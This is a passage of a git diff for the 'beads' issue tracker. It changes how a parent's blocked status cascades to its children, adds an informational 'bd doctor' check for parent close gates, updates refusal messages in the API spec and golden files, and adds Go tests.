([#6506](https://github.com/gastownhall/beads/issues/6506)). A + parent-child edge now propagates only a parent's *exogenous* blockedness — + blockedness whose cause lies outside the parent's own subtree — so the + close-gate idiom, a parent carrying `blocks` edges onto its own children (or + grandchildren) so it cannot close before them, stops darkening the very work + it is waiting for. The parent itself stays blocked, and a close gate does not + unlock the work under an epic that is itself blocked from outside: a sub-epic + blocked BOTH by its own children AND by an exogenously blocked ancestor still + darkens its children + ([#6601](https://github.com/gastownhall/beads/issues/6601)). + "Inside my own subtree" is decided to a fixed depth of **four** + parent-child levels — epic → sub-epic → leg → task — so a parent that + blocks on something deeper than that still darkens its whole subtree, exactly + as it did before this fix; that depth is a measured trade (the + bounded walk is a fixed chain of index probes, where a recursive one cost + 7.5x per evaluation) and raising it is a one-constant change. Existing stores + repair on the next write that touches the hierarchy, or with + `bd doctor --fix`. +- `bd dep add` no longer explains its refusal of a blocking edge onto your own + descendant by claiming the block would cascade down and never clear — it + does not, as of the fix above. The refusal stands, and now names the + sanctioned way to say it: a waits-for gate over the children. + - **`routes.jsonl` prefixes containing a hyphen now route** ([#5048](https://github.com/gastownhall/beads/issues/5048)). Prefix routing cut the bead ID at its first `-` and required an exact match, so a route diff --git a/cmd/bd/doctor.go b/cmd/bd/doctor.go index 0640d3a9e..4740e6a32 100644 --- a/cmd/bd/doctor.go +++ b/cmd/bd/doctor.go @@ -983,6 +983,11 @@ func runDiagnostics(path string) doctorResult { result.Checks = append(result.Checks, childParentDepsCheck) // Don't fail overall check for child→parent deps, just warn + // Check 22b: Parent→own-child close gates (informational, #6506) + parentCloseGateCheck := convertDoctorCheck(doctor.CheckParentBlocksOwnChild(path)) + result.Checks = append(result.Checks, parentCloseGateCheck) + // Informational only: these edges are legal and never fail the overall check. + // Check 23: Duplicate issues (from bd validate) duplicatesCheck := convertDoctorCheck(doctor.CheckDuplicateIssues(path, doctorOrchestrator, orchestratorDuplicatesThreshold)) result.Checks = append(result.Checks, duplicatesCheck) diff --git a/cmd/bd/doctor/validation.go b/cmd/bd/doctor/validation.go index 86665ed4d..32a24c412 100644 --- a/cmd/bd/doctor/validation.go +++ b/cmd/bd/doctor/validation.go @@ -8,6 +8,7 @@ import ( "os" "path/filepath" "strings" + "unicode/utf8" "github.com/steveyegge/beads/internal/configfile" "github.com/steveyegge/beads/internal/storage" @@ -337,6 +338,153 @@ func CheckChildParentDependencies(path string) DoctorCheck { return checkChildParentDependenciesDB(db) } +// detailMaxBytes is the budget for a DoctorCheck Detail line: enough to show +// the shape of a finding, short enough not to bury the report. +const detailMaxBytes = 200 + +// truncateDetail cuts a detail line to detailMaxBytes WITHOUT splitting a +// rune. The gate inventory joins its entries with U+2192 (three bytes), so a +// plain detail[:200] lands mid-rune about two times in three and puts invalid +// UTF-8 into `bd doctor --json`, where it is no longer a display nuisance but +// a value a consumer has to decode. +func truncateDetail(detail string) string { + if len(detail) <= detailMaxBytes { + return detail + } + cut := detailMaxBytes + for cut > 0 && !utf8.RuneStart(detail[cut]) { + cut-- + } + return detail[:cut] + "..." +} + +// CheckParentBlocksOwnChild reports parents that carry a blocking edge onto one +// of their own parent-child descendants — the "close gate on the epic" idiom, +// where P blocks on C1 and C2 (or on a grandchild) so P cannot close before +// them. +// +// It is INFORMATIONAL and has no fix. Before gastownhall/beads#6506 these +// edges were a trap: the parent's blocked bit cascaded to its children +// whatever set it, so the gate hid the very children it was waiting for and +// nothing in the subtree could ever become ready. The cascade now propagates +// only exogenous blockedness, so the edges are harmless and frequently +// intentional; what an operator wants from doctor is the inventory — which +// beads in this store use the idiom — not a repair. An inventory query that +// fails or times out is a warning, as in the file's other checks, so it cannot +// pass for an empty inventory. +func CheckParentBlocksOwnChild(path string) DoctorCheck { + beadsDir := ResolveBeadsDirForRepo(path) + + db, store, err := openStoreDB(beadsDir) + if err != nil { + return DoctorCheck{ + Name: "Parent Close Gates", + Status: StatusOK, + Message: "N/A (no database)", + Category: CategoryMetadata, + } + } + defer func() { _ = store.Close() }() + + return checkParentBlocksOwnChildDB(db) +} + +// checkParentBlocksOwnChildDB is the core logic for CheckParentBlocksOwnChild. +// The pair is symmetric-but-opposite to checkChildParentDependenciesDB above: +// that one finds a CHILD blocking on its PARENT (still a deadlock, still +// fixable); this one finds a PARENT blocking on its own DESCENDANT, and +// matches on real parent-child edges rather than on dotted-ID ancestry, +// because the close-gate idiom is wired with explicit edges between unrelated +// ids. "Descendant" is walked to the same four parent-child levels the cascade +// fix uses to decide "inside my own subtree" (issueops subtreeWalkDepth), so +// the inventory and the fix agree on which gates are gates: a parent that +// blocks on its grandchild is listed, one that blocks five levels down is not. +func checkParentBlocksOwnChildDB(db *sql.DB) DoctorCheck { + //nolint:gosec // G202: doctorDependencyUnionSQL returns a fixed internal SELECT fragment. + query := ` + SELECT DISTINCT b.issue_id, b.depends_on_id + FROM (` + doctorDependencyUnionSQL() + `) b + JOIN ( + SELECT l1.depends_on_id AS anc, l1.issue_id AS des + FROM (` + doctorDependencyUnionSQL() + `) l1 + WHERE l1.type = 'parent-child' + UNION + SELECT l1.depends_on_id, l2.issue_id + FROM (` + doctorDependencyUnionSQL() + `) l1 + JOIN (` + doctorDependencyUnionSQL() + `) l2 + ON l2.type = 'parent-child' AND l2.depends_on_id = l1.issue_id + WHERE l1.type = 'parent-child' + UNION + SELECT l1.depends_on_id, l3.issue_id + FROM (` + doctorDependencyUnionSQL() + `) l1 + JOIN (` + doctorDependencyUnionSQL() + `) l2 + ON l2.type = 'parent-child' AND l2.depends_on_id = l1.issue_id + JOIN (` + doctorDependencyUnionSQL() + `) l3 + ON l3.type = 'parent-child' AND l3.depends_on_id = l2.issue_id + WHERE l1.type = 'parent-child' + UNION + SELECT l1.depends_on_id, l4.issue_id + FROM (` + doctorDependencyUnionSQL() + `) l1 + JOIN (` + doctorDependencyUnionSQL() + `) l2 + ON l2.type = 'parent-child' AND l2.depends_on_id = l1.issue_id + JOIN (` + doctorDependencyUnionSQL() + `) l3 + ON l3.type = 'parent-child' AND l3.depends_on_id = l2.issue_id + JOIN (` + doctorDependencyUnionSQL() + `) l4 + ON l4.type = 'parent-child' AND l4.depends_on_id = l3.issue_id + WHERE l1.type = 'parent-child' + ) d ON d.anc = b.issue_id AND d.des = b.depends_on_id + WHERE b.type IN ('blocks', 'conditional-blocks') + ORDER BY b.issue_id, b.depends_on_id + ` + rows, err := db.Query(query) + if err != nil { + return DoctorCheck{ + Name: "Parent Close Gates", + Status: StatusWarning, + Message: "N/A (query failed)", + Detail: err.Error(), + Category: CategoryMetadata, + } + } + defer rows.Close() + + var gates []string + for rows.Next() { + var issueID, dependsOnID string + if err := rows.Scan(&issueID, &dependsOnID); err == nil { + gates = append(gates, fmt.Sprintf("%s→%s", issueID, dependsOnID)) + } + } + if err := rows.Err(); err != nil { + return DoctorCheck{ + Name: "Parent Close Gates", + Status: StatusWarning, + Message: "N/A (row iteration error)", + Detail: err.Error(), + Category: CategoryMetadata, + } + } + + if len(gates) == 0 { + return DoctorCheck{ + Name: "Parent Close Gates", + Status: StatusOK, + Message: "No parent→own-descendant blocking edges", + Category: CategoryMetadata, + } + } + + detail := truncateDetail(strings.Join(gates, ", ")) + + return DoctorCheck{ + Name: "Parent Close Gates", + Status: StatusOK, + Message: fmt.Sprintf("%d parent→own-descendant blocking edge(s) (informational: these gates do not keep the children out of bd ready)", len(gates)), + Detail: detail, + Category: CategoryMetadata, + } +} + // checkDoltConflicts queries the Dolt server for unresolved merge conflicts (GH-2249). func checkDoltConflicts(beadsDir string) DoctorCheck { doltPath := getDatabasePath(beadsDir) diff --git a/cmd/bd/doctor/validation_test.go b/cmd/bd/doctor/validation_test.go index 150bedd00..3b5e1ff01 100644 --- a/cmd/bd/doctor/validation_test.go +++ b/cmd/bd/doctor/validation_test.go @@ -5,6 +5,7 @@ package doctor import ( "context" "crypto/sha256" + "database/sql" "encoding/hex" "fmt" "os" @@ -12,6 +13,7 @@ import ( "strings" "testing" "time" + "unicode/utf8" "github.com/steveyegge/beads/internal/configfile" "github.com/steveyegge/beads/internal/types" @@ -717,3 +719,156 @@ func TestCheckGitConflicts_DoltBackend_Clean(t *testing.T) { t.Fatal("Expected no conflicts in clean database") } } + +// TestCheckParentBlocksOwnChildDB_NoGates verifies the informational check is +// quiet on a store with no close gates — including one that has an ordinary +// parent-child hierarchy, which must not be mistaken for a gate. +func TestCheckParentBlocksOwnChildDB_NoGates(t *testing.T) { + store := newTestDoltStore(t, "test") + ctx := context.Background() + + parent := &types.Issue{Title: "Parent epic", Status: types.StatusOpen, Priority: 1, IssueType: types.TypeEpic} + if err := store.CreateIssue(ctx, parent, "test"); err != nil { + t.Fatalf("Failed to create parent: %v", err) + } + child := &types.Issue{Title: "Child task", Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask} + if err := store.CreateIssue(ctx, child, "test"); err != nil { + t.Fatalf("Failed to create child: %v", err) + } + db := store.DB() + if _, err := db.ExecContext(ctx, + `INSERT INTO dependencies (id, issue_id, depends_on_issue_id, type, created_at, created_by) VALUES (UUID(), ?, ?, 'parent-child', NOW(), 'test')`, + child.ID, parent.ID); err != nil { + t.Fatalf("Failed to insert parent-child edge: %v", err) + } + + check := checkParentBlocksOwnChildDB(db) + + if check.Status != StatusOK { + t.Errorf("Status = %q, want %q", check.Status, StatusOK) + } + if check.Message != "No parent→own-descendant blocking edges" { + t.Errorf("Message = %q, want the empty-inventory message", check.Message) + } + if check.Category != CategoryMetadata { + t.Errorf("Category = %q, want %q", check.Category, CategoryMetadata) + } +} + +// TestCheckParentBlocksOwnChildDB_GateReported verifies the inventory: a parent +// that blocks on its own parent-child child OR grandchild is listed, by both +// ids, and the check stays OK — these edges are legal since gastownhall/beads#6506 and the +// check has no fix. +func TestCheckParentBlocksOwnChildDB_GateReported(t *testing.T) { + store := newTestDoltStore(t, "test") + ctx := context.Background() + + parent := &types.Issue{Title: "Parent epic", Status: types.StatusOpen, Priority: 1, IssueType: types.TypeEpic} + if err := store.CreateIssue(ctx, parent, "test"); err != nil { + t.Fatalf("Failed to create parent: %v", err) + } + child := &types.Issue{Title: "Child task", Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask} + if err := store.CreateIssue(ctx, child, "test"); err != nil { + t.Fatalf("Failed to create child: %v", err) + } + grandchild := &types.Issue{Title: "Grandchild task", Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask} + if err := store.CreateIssue(ctx, grandchild, "test"); err != nil { + t.Fatalf("Failed to create grandchild: %v", err) + } + other := &types.Issue{Title: "Unrelated blocker", Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask} + if err := store.CreateIssue(ctx, other, "test"); err != nil { + t.Fatalf("Failed to create unrelated blocker: %v", err) + } + + db := store.DB() + edges := []struct{ from, to, depType string }{ + {child.ID, parent.ID, "parent-child"}, + {grandchild.ID, child.ID, "parent-child"}, + {parent.ID, child.ID, "blocks"}, // the close gate + {parent.ID, grandchild.ID, "blocks"}, // a gate two levels down: listed too + {parent.ID, other.ID, "blocks"}, // exogenous: must NOT be listed + {child.ID, other.ID, "blocks"}, // an ordinary blocker on the child + } + for _, e := range edges { + if _, err := db.ExecContext(ctx, + `INSERT INTO dependencies (id, issue_id, depends_on_issue_id, type, created_at, created_by) VALUES (UUID(), ?, ?, ?, NOW(), 'test')`, + e.from, e.to, e.depType); err != nil { + t.Fatalf("Failed to insert %s edge %s->%s: %v", e.depType, e.from, e.to, err) + } + } + + check := checkParentBlocksOwnChildDB(db) + + if check.Status != StatusOK { + t.Errorf("Status = %q, want %q: the idiom is legal, the check only reports it", check.Status, StatusOK) + } + if check.Fix != "" { + t.Errorf("Fix = %q, want empty: this check has no --fix", check.Fix) + } + if check.Category != CategoryMetadata { + t.Errorf("Category = %q, want %q", check.Category, CategoryMetadata) + } + if !strings.Contains(check.Message, "2 parent→own-descendant") { + t.Errorf("Message = %q, want a count of exactly the two close gates", check.Message) + } + for _, wantDetail := range []string{parent.ID + "→" + child.ID, parent.ID + "→" + grandchild.ID} { + if !strings.Contains(check.Detail, wantDetail) { + t.Errorf("Detail = %q, want it to name %q", check.Detail, wantDetail) + } + } + if strings.Contains(check.Detail, other.ID) { + t.Errorf("Detail = %q, must not list the exogenous blocker %s", check.Detail, other.ID) + } +} + +// TestCheckParentBlocksOwnChildDB_QueryFailureWarns verifies that an inventory +// query that fails is a warning, not an OK that reads as "no gates". A closed +// handle fails every query without reaching a server. +func TestCheckParentBlocksOwnChildDB_QueryFailureWarns(t *testing.T) { + db, err := sql.Open("mysql", "root@tcp(127.0.0.1:1)/none") + if err != nil { + t.Fatalf("sql.Open: %v", err) + } + _ = db.Close() + + check := checkParentBlocksOwnChildDB(db) + + if check.Status != StatusWarning { + t.Errorf("Status = %q, want %q", check.Status, StatusWarning) + } + if check.Message != "N/A (query failed)" { + t.Errorf("Message = %q, want %q", check.Message, "N/A (query failed)") + } + if check.Detail == "" { + t.Error("Detail is empty, want the query error") + } +} + +// TestTruncateDetail_CutsOnARuneBoundary pins the --json contract: a cut +// detail line is still valid UTF-8. The gate inventory joins its entries with +// U+2192, three bytes wide, so a byte-indexed cut lands mid-rune for two of +// every three offsets and emits a replacement-character sequence into JSON. +func TestTruncateDetail_CutsOnARuneBoundary(t *testing.T) { + // One entry is 6 bytes: "a", U+2192 (3), "b", ",", " " — so successive + // totals step past 200 at offsets that are not rune starts. + entry := "a→b" + for n := 1; n < 120; n++ { + parts := make([]string, n) + for i := range parts { + parts[i] = entry + } + got := truncateDetail(strings.Join(parts, ", ")) + if !utf8.ValidString(got) { + t.Fatalf("n=%d: truncateDetail produced invalid UTF-8: %q", n, got) + } + if len(got) > detailMaxBytes+len("...") { + t.Fatalf("n=%d: truncateDetail returned %d bytes, want <= %d", + n, len(got), detailMaxBytes+len("...")) + } + } + + // Short input is returned whole, with no ellipsis. + if got := truncateDetail("wr-p→wr-c"); got != "wr-p→wr-c" { + t.Errorf("short detail was rewritten: %q", got) + } +} diff --git a/internal/httpapi/apigen/types.gen.go b/internal/httpapi/apigen/types.gen.go index ac64377c4..9cf8b8868 100644 --- a/internal/httpapi/apigen/types.gen.go +++ b/internal/httpapi/apigen/types.gen.go @@ -1566,7 +1566,7 @@ type Problem struct { // BlockerId With `dependency_cycle`, hierarchy refusal only: the ancestor or descendant the edge named as blocker. See `issue_id`. BlockerId *string `json:"blocker_id,omitempty"` - // BlockerIsAncestor With `dependency_cycle`, hierarchy refusal only: true when `blocker_id` is an ANCESTOR of `issue_id` (which cannot close until its descendants finish, so the gate would never clear), false when it is a DESCENDANT (blocked status cascades, so it would inherit the block and never close). Both polarities are reported; this member is never omitted to mean false. See `issue_id`. + // BlockerIsAncestor With `dependency_cycle`, hierarchy refusal only: true when `blocker_id` is an ANCESTOR of `issue_id` (which cannot close until its descendants finish, so the gate would never clear), false when it is a DESCENDANT (waiting on your own subtree is a close gate, not a blocks edge — use a waits-for gate over the children). Both polarities are reported; this member is never omitted to mean false. See `issue_id`. BlockerIsAncestor *bool `json:"blocker_is_ancestor,omitempty"` // Blockers With `not_closable`, and ONLY on the live-blocker refusal: the live blockers that refused the close, in the order the refusing check reported them, read from the refusal's typed list rather than parsed out of any message. Never present together with `open_children`. diff --git a/internal/httpapi/spec/openapi.v0.yaml b/internal/httpapi/spec/openapi.v0.yaml index 4c5b22462..5524c88f3 100644 --- a/internal/httpapi/spec/openapi.v0.yaml +++ b/internal/httpapi/spec/openapi.v0.yaml @@ -11982,9 +11982,10 @@ components: With `dependency_cycle`, hierarchy refusal only: true when `blocker_id` is an ANCESTOR of `issue_id` (which cannot close until its descendants finish, so the gate would never clear), false when - it is a DESCENDANT (blocked status cascades, so it would inherit the - block and never close). Both polarities are reported; this member is - never omitted to mean false. See `issue_id`. + it is a DESCENDANT (waiting on your own subtree is a close gate, not + a blocks edge — use a waits-for gate over the children). Both + polarities are reported; this member is never omitted to mean false. + See `issue_id`. expected_version: type: string description: >- diff --git a/internal/storage/createbatchequiv/golden/depadd.json b/internal/storage/createbatchequiv/golden/depadd.json index 8f520beb2..c3ad1dc71 100644 --- a/internal/storage/createbatchequiv/golden/depadd.json +++ b/internal/storage/createbatchequiv/golden/depadd.json @@ -61,14 +61,14 @@ "probe eq-de -\u003e eq-de tables=[]: cycle=true hierarchy=ok cycle-check=cannot add self-dependency: eq-de cannot depend on itself", "probe eq-de -\u003e eq-de tables=[dependencies]: cycle=true hierarchy=ok cycle-check=cannot add self-dependency: eq-de cannot depend on itself", "probe eq-de -\u003e eq-de tables=[wisp_dependencies]: cycle=true hierarchy=ok cycle-check=cannot add self-dependency: eq-de cannot depend on itself", - "probe eq-de -\u003e eq-de.1 tables=[]: cycle=true hierarchy=eq-de cannot be blocked by its descendant eq-de.1: blocked status cascades to descendants, so eq-de.1 would inherit the block and never close cycle-check=adding dependency would create a cycle", - "probe eq-de -\u003e eq-de.1 tables=[dependencies]: cycle=true hierarchy=eq-de cannot be blocked by its descendant eq-de.1: blocked status cascades to descendants, so eq-de.1 would inherit the block and never close cycle-check=adding dependency would create a cycle", + "probe eq-de -\u003e eq-de.1 tables=[]: cycle=true hierarchy=eq-de cannot be blocked by its descendant eq-de.1: waiting on your own subtree is a close gate, not a blocks edge — use a waits-for gate over the children (bd gate) cycle-check=adding dependency would create a cycle", + "probe eq-de -\u003e eq-de.1 tables=[dependencies]: cycle=true hierarchy=eq-de cannot be blocked by its descendant eq-de.1: waiting on your own subtree is a close gate, not a blocks edge — use a waits-for gate over the children (bd gate) cycle-check=adding dependency would create a cycle", "probe eq-de -\u003e eq-de.1 tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", - "probe eq-de -\u003e eq-de.1.1 tables=[]: cycle=true hierarchy=eq-de cannot be blocked by its descendant eq-de.1.1: blocked status cascades to descendants, so eq-de.1.1 would inherit the block and never close cycle-check=adding dependency would create a cycle", - "probe eq-de -\u003e eq-de.1.1 tables=[dependencies]: cycle=true hierarchy=eq-de cannot be blocked by its descendant eq-de.1.1: blocked status cascades to descendants, so eq-de.1.1 would inherit the block and never close cycle-check=adding dependency would create a cycle", + "probe eq-de -\u003e eq-de.1.1 tables=[]: cycle=true hierarchy=eq-de cannot be blocked by its descendant eq-de.1.1: waiting on your own subtree is a close gate, not a blocks edge — use a waits-for gate over the children (bd gate) cycle-check=adding dependency would create a cycle", + "probe eq-de -\u003e eq-de.1.1 tables=[dependencies]: cycle=true hierarchy=eq-de cannot be blocked by its descendant eq-de.1.1: waiting on your own subtree is a close gate, not a blocks edge — use a waits-for gate over the children (bd gate) cycle-check=adding dependency would create a cycle", "probe eq-de -\u003e eq-de.1.1 tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", - "probe eq-de -\u003e eq-de.2 tables=[]: cycle=true hierarchy=eq-de cannot be blocked by its descendant eq-de.2: blocked status cascades to descendants, so eq-de.2 would inherit the block and never close cycle-check=adding dependency would create a cycle", - "probe eq-de -\u003e eq-de.2 tables=[dependencies]: cycle=true hierarchy=eq-de cannot be blocked by its descendant eq-de.2: blocked status cascades to descendants, so eq-de.2 would inherit the block and never close cycle-check=adding dependency would create a cycle", + "probe eq-de -\u003e eq-de.2 tables=[]: cycle=true hierarchy=eq-de cannot be blocked by its descendant eq-de.2: waiting on your own subtree is a close gate, not a blocks edge — use a waits-for gate over the children (bd gate) cycle-check=adding dependency would create a cycle", + "probe eq-de -\u003e eq-de.2 tables=[dependencies]: cycle=true hierarchy=eq-de cannot be blocked by its descendant eq-de.2: waiting on your own subtree is a close gate, not a blocks edge — use a waits-for gate over the children (bd gate) cycle-check=adding dependency would create a cycle", "probe eq-de -\u003e eq-de.2 tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", "probe eq-de -\u003e eq-db1 tables=[]: cycle=false hierarchy=ok cycle-check=ok", "probe eq-de -\u003e eq-db1 tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", @@ -91,9 +91,9 @@ "probe eq-de -\u003e eq-dc tables=[]: cycle=false hierarchy=ok cycle-check=ok", "probe eq-de -\u003e eq-dc tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", "probe eq-de -\u003e eq-dc tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", - "probe eq-de -\u003e eq-dw1 tables=[]: cycle=true hierarchy=eq-de cannot be blocked by its descendant eq-dw1: blocked status cascades to descendants, so eq-dw1 would inherit the block and never close cycle-check=adding dependency would create a cycle", + "probe eq-de -\u003e eq-dw1 tables=[]: cycle=true hierarchy=eq-de cannot be blocked by its descendant eq-dw1: waiting on your own subtree is a close gate, not a blocks edge — use a waits-for gate over the children (bd gate) cycle-check=adding dependency would create a cycle", "probe eq-de -\u003e eq-dw1 tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", - "probe eq-de -\u003e eq-dw1 tables=[wisp_dependencies]: cycle=true hierarchy=eq-de cannot be blocked by its descendant eq-dw1: blocked status cascades to descendants, so eq-dw1 would inherit the block and never close cycle-check=adding dependency would create a cycle", + "probe eq-de -\u003e eq-dw1 tables=[wisp_dependencies]: cycle=true hierarchy=eq-de cannot be blocked by its descendant eq-dw1: waiting on your own subtree is a close gate, not a blocks edge — use a waits-for gate over the children (bd gate) cycle-check=adding dependency would create a cycle", "probe eq-de -\u003e eq-dw2 tables=[]: cycle=true hierarchy=ok cycle-check=adding dependency would create a cycle", "probe eq-de -\u003e eq-dw2 tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", "probe eq-de -\u003e eq-dw2 tables=[wisp_dependencies]: cycle=true hierarchy=ok cycle-check=adding dependency would create a cycle", @@ -121,8 +121,8 @@ "probe eq-de.1 -\u003e eq-de.1 tables=[]: cycle=true hierarchy=ok cycle-check=cannot add self-dependency: eq-de.1 cannot depend on itself", "probe eq-de.1 -\u003e eq-de.1 tables=[dependencies]: cycle=true hierarchy=ok cycle-check=cannot add self-dependency: eq-de.1 cannot depend on itself", "probe eq-de.1 -\u003e eq-de.1 tables=[wisp_dependencies]: cycle=true hierarchy=ok cycle-check=cannot add self-dependency: eq-de.1 cannot depend on itself", - "probe eq-de.1 -\u003e eq-de.1.1 tables=[]: cycle=true hierarchy=eq-de.1 cannot be blocked by its descendant eq-de.1.1: blocked status cascades to descendants, so eq-de.1.1 would inherit the block and never close cycle-check=adding dependency would create a cycle", - "probe eq-de.1 -\u003e eq-de.1.1 tables=[dependencies]: cycle=true hierarchy=eq-de.1 cannot be blocked by its descendant eq-de.1.1: blocked status cascades to descendants, so eq-de.1.1 would inherit the block and never close cycle-check=adding dependency would create a cycle", + "probe eq-de.1 -\u003e eq-de.1.1 tables=[]: cycle=true hierarchy=eq-de.1 cannot be blocked by its descendant eq-de.1.1: waiting on your own subtree is a close gate, not a blocks edge — use a waits-for gate over the children (bd gate) cycle-check=adding dependency would create a cycle", + "probe eq-de.1 -\u003e eq-de.1.1 tables=[dependencies]: cycle=true hierarchy=eq-de.1 cannot be blocked by its descendant eq-de.1.1: waiting on your own subtree is a close gate, not a blocks edge — use a waits-for gate over the children (bd gate) cycle-check=adding dependency would create a cycle", "probe eq-de.1 -\u003e eq-de.1.1 tables=[wisp_dependencies]: cycle=false hierarchy=ok cycle-check=ok", "probe eq-de.1 -\u003e eq-de.2 tables=[]: cycle=false hierarchy=ok cycle-check=ok", "probe eq-de.1 -\u003e eq-de.2 tables=[dependencies]: cycle=false hierarchy=ok cycle-check=ok", @@ -1143,7 +1143,7 @@ "probe eq-dmissing -\u003e eq-dmissing tables=[wisp_dependencies]: cycle=true hierarchy=ok cycle-check=cannot add self-dependency: eq-dmissing cannot depend on itself", "add eq-db1 -blocks-\u003e eq-db4: adding dependency would create a cycle", "add eq-db1 -blocks-\u003e eq-dr: ok", - "add eq-de -blocks-\u003e eq-de.1.1: eq-de cannot be blocked by its descendant eq-de.1.1: blocked status cascades to descendants, so eq-de.1.1 would inherit the block and never close", + "add eq-de -blocks-\u003e eq-de.1.1: eq-de cannot be blocked by its descendant eq-de.1.1: waiting on your own subtree is a close gate, not a blocks edge — use a waits-for gate over the children (bd gate)", "add eq-de.1.1 -blocks-\u003e eq-de: eq-de.1.1 cannot be blocked by its ancestor eq-de: eq-de cannot close until its descendants finish, so the gate would never clear", "add eq-de.1.1 -blocks-\u003e eq-de.2: ok", "add eq-de -parent-child-\u003e eq-dw2: adding dependency would create a cycle", @@ -1160,7 +1160,7 @@ "add eq-db2 -related-\u003e eq-db1: dependency eq-db2 -\u003e eq-db1 already exists with type \"blocks\" (requested \"related\"); remove it first with 'bd dep remove' then re-add", "add eq-dr -blocks-\u003e external:proj:other: ok", "add eq-de.2 -parent-child-\u003e eq-de.1: ok", - "add eq-de.1 -blocks-\u003e eq-de.2: eq-de.1 cannot be blocked by its descendant eq-de.2: blocked status cascades to descendants, so eq-de.2 would inherit the block and never close", + "add eq-de.1 -blocks-\u003e eq-de.2: eq-de.1 cannot be blocked by its descendant eq-de.2: waiting on your own subtree is a close gate, not a blocks edge — use a waits-for gate over the children (bd gate)", "add eq-dk1 -blocks-\u003e eq-dl: ok", "add eq-dl -blocks-\u003e eq-dk2: adding dependency would create a cycle", "add eq-dk2 -blocks-\u003e eq-dk1: eq-dk2 cannot be blocked by its ancestor eq-dk1: eq-dk1 cannot close until its descendants finish, so the gate would never clear" diff --git a/internal/storage/dolt/BUILD.bazel b/internal/storage/dolt/BUILD.bazel index 72a845965..987879f40 100644 --- a/internal/storage/dolt/BUILD.bazel +++ b/internal/storage/dolt/BUILD.bazel @@ -145,6 +145,7 @@ go_test( "blocked_recheck_publication_test.go", "blocked_recheck_raw_test.go", "blocked_recompute_guard_test.go", + "blocked_scale_bench_test.go", "blocking_annotator_contract_test.go", "bootstrap_test.go", "bootstrapper_contract_test.go", diff --git a/internal/storage/dolt/blocked_consistency_test.go b/internal/storage/dolt/blocked_consistency_test.go index a800438be..880501ce5 100644 --- a/internal/storage/dolt/blocked_consistency_test.go +++ b/internal/storage/dolt/blocked_consistency_test.go @@ -3,8 +3,10 @@ package dolt import ( "context" "database/sql" + "fmt" "testing" + "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/internal/storage/issueops" "github.com/steveyegge/beads/internal/types" ) @@ -177,3 +179,870 @@ func TestRecomputeAllIsBlocked_CascadesThroughParentChild(t *testing.T) { t.Fatalf("after repair: want 0 inconsistencies, got %d", n) } } + +// --- parent-child cascade: only EXOGENOUS blockedness propagates ------------- +// +// gastownhall/beads#6506 (wy-3eb07b). The legs used to cascade on the parent's +// is_blocked bit WHATEVER set it, so the "close gate on the epic" idiom — P +// carries blocks edges onto its own children so it cannot close before them — +// darkened the very children P was waiting for. Neither child could reach bd +// ready, so neither could be worked, so neither could close: a permanent lock. +// +// The contract these four cases pin: a parent-child edge propagates only the +// parent's EXOGENOUS blockedness. P is blocked FOR CHILD C iff P has a +// blocking reason whose target is NOT one of P's own parent-child children, or +// P's own parent is (recursively) exogenously blocked. P's OWN is_blocked is +// unchanged throughout — it really does depend on open children. + +// addDepSkippingCycleCheck writes a dependency edge past the per-edge cycle +// check. The close-gate topology cannot be built any other way through the +// store: every edge is legal when it is written, but the pair is refused in +// either order once both exist (CheckBlockingHierarchyInTx rejects a blocker +// that is a descendant; CheckDependencyCycleInTx rejects the parent-child edge +// that closes the loop). That is exactly how the shape arrives in the wild — +// one edge at a time, or through import/merge — and SkipCycleCheck is the +// supported way to reproduce it (the whole-graph END GATE is the batch +// caller's obligation, not this fixture's). +func addDepSkippingCycleCheck(ctx context.Context, t *testing.T, store *DoltStore, source, target string, depType types.DependencyType) { + t.Helper() + // The store-level AddDependencyWithOptions does not forward SkipCycleCheck + // (dolt/dependencies.go builds its own AddDependencyOpts); the transaction + // surface does, and it is the one batch callers use. + err := store.RunInTransaction(ctx, "test: seed close-gate edge", func(tx storage.Transaction) error { + return tx.AddDependencyWithOptions(ctx, + &types.Dependency{IssueID: source, DependsOnID: target, Type: depType}, + "tester", storage.DependencyAddOptions{SkipCycleCheck: true}) + }) + if err != nil { + t.Fatalf("add dep %s -> %s (%s): %v", source, target, depType, err) + } +} + +// assertBlockedFlags checks is_blocked for a set of ids in one place so a +// failure names every disagreement rather than the first. +func assertBlockedFlags(ctx context.Context, t *testing.T, store *DoltStore, when string, want map[string]bool) { + t.Helper() + for id, expected := range want { + if got := isBlocked(ctx, t, store.db, id); got != expected { + t.Errorf("%s: %s is_blocked = %v, want %v", when, id, got, expected) + } + } +} + +// assertConvergedAndStable pins the lockstep for the case at hand: detection +// counts zero, and the full repair agrees by changing nothing. +func assertConvergedAndStable(ctx context.Context, t *testing.T, store *DoltStore) { + t.Helper() + if n := countInconsistencies(ctx, t, store.db); n != 0 { + t.Errorf("write path left %d inconsistencies; detection and the union must agree", n) + } + if changed := recomputeAll(ctx, t, store.db); changed != 0 { + t.Errorf("full repair changed %d rows over a write-path-consistent graph, want 0", changed) + } +} + +// TestParentChildCascade_ParentBlockedOnlyByItsOwnChildren is the repro. P +// blocks on C1 and C2, which are P's own parent-child children. P stays +// blocked; the children must NOT be darkened, and must be reachable as ready +// work — the property whose absence made the idiom a permanent lock. +func TestParentChildCascade_ParentBlockedOnlyByItsOwnChildren(t *testing.T) { + store, cleanup := setupTestStore(t) + defer cleanup() + ctx, cancel := testContext(t) + defer cancel() + + for _, id := range []string{"pc-gate-p", "pc-gate-c1", "pc-gate-c2"} { + createPerm(t, ctx, store, id) + } + // The blocks edges go in while no hierarchy exists yet... + addDependencyWithMeta(t, ctx, store, "pc-gate-p", "pc-gate-c1", types.DepBlocks, "") + addDependencyWithMeta(t, ctx, store, "pc-gate-p", "pc-gate-c2", types.DepBlocks, "") + // ...and the hierarchy after, which is what closes the gate on the epic. + addDepSkippingCycleCheck(ctx, t, store, 